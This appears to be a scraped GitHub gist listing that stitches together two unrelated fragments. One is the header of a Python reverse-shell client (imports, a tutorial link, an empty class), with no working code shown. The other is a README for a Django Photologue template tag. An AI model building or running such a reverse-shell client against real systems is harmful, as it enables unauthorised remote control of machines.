This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# revshell_client.py | |
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ | |
import socket, os, subprocess, sys, re | |
class ReverseShellClient: | |
s = None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This gist is just a simple Django template tag that will output the display | |
URL for a photologue photo looked up by slug. This satisfies my need for using | |
Photologue simple as an admin interface to managing photos that I'm including | |
in flatpages. | |
Usage | |
===== | |
Just put photos.py in your templatetags directory. Make sure photologue | |
is installed, then create a new photo object. |